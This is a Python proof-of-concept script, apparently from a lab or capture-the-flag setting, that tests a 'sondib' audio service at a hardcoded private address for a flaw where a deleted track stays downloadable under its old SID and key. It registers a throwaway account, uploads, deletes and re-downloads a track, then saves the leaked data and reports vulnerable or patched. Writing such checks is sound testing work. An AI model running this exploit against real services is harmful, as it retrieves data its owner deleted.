#!/usr/bin/env python3 """Exploit the deleted-track SID reuse bug in sondib. The PoC downloads a track before deletion, deletes it, then downloads the same SID/key again. A second non-empty download proves the vulnerability. Exit codes: 0 vulnerable, 1 patched, 2 setup or communication error. """ from __future__ import annotations import argparse import re import secrets import subprocess import tempfile import time from pathlib import Path SDB = Path(__file__).resolve().parents[1] / "bin" / "sdb" SID_KEY = re.compile(rb"(?m)^([0-9a-z]{26}) ([0-9a-f]{8})$") TARGET = "10.80.19.2" def run_sdb(target: str, *args: str, timeout: int = 10) -> subprocess.CompletedProcess[bytes]: command = [str(SDB), args[0], target, *args[1:]] try: return subprocess.run( command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, timeout=timeout, check=False, ) except subprocess.TimeoutExpired: return subprocess.CompletedProcess(command, 124, b"", b"sdb timed out") def text_output(result: subprocess.CompletedProcess[bytes]) -> str: return (result.stdout + b"\n" + result.stderr).decode(errors="replace").strip() def fail(message: str) -> int: print(f"error: {message}") return 2 def main() -> int: parser = argparse.ArgumentParser(description=__doc__) parser.add_argument("-o", "--output", type=Path, help="save leaked SDZ here") args = parser.parse_args() if not SDB.is_file(): return fail(f"sdb client not found: {SDB}") username = f"reuse{secrets.token_hex(5)}" password = f"pw{secrets.token_hex(6)}" registered = run_sdb(TARGET, "register", username, password) if registered.returncode != 0: return fail(f"register failed: {text_output(registered)}") with tempfile.NamedTemporaryFile(prefix="sondib-probe-", suffix=".pcm") as pcm: pcm.write(b"\0" * 1024) pcm.flush() uploaded = run_sdb( TARGET, "upload", username, password, "deleted-probe", "p", pcm.name, ) match = SID_KEY.search(uploaded.stdout + b"\n" + uploaded.stderr) if not match: return fail(f"upload did not return SID/key: {text_output(uploaded)}") sid, key = (part.decode() for part in match.groups()) before = run_sdb(TARGET, "download", sid, key) if not before.stdout: return fail(f"fresh track was not downloadable: {text_output(before)}") # sdb exposes the server status byte as its process status; mutating # commands can be non-zero even when the state change succeeded. run_sdb(TARGET, "delete", username, password, sid, key) time.sleep(0.2) after = run_sdb(TARGET, "download", sid, key) if after.stdout: output_path = args.output if output_path is None: handle = tempfile.NamedTemporaryFile( prefix=f"sondib-leak-{sid}-", suffix=".sdz", delete=False ) output_path = Path(handle.name) handle.close() output_path.write_bytes(after.stdout) print( f"VULNERABLE: deleted track {sid} returned {len(after.stdout)} bytes; " f"saved to {output_path}" ) return 0 if after.returncode != 0: print(f"blocked: deleted track {sid} was rejected") return 1 return fail("download returned no data without a protocol error") if __name__ == "__main__": raise SystemExit(main())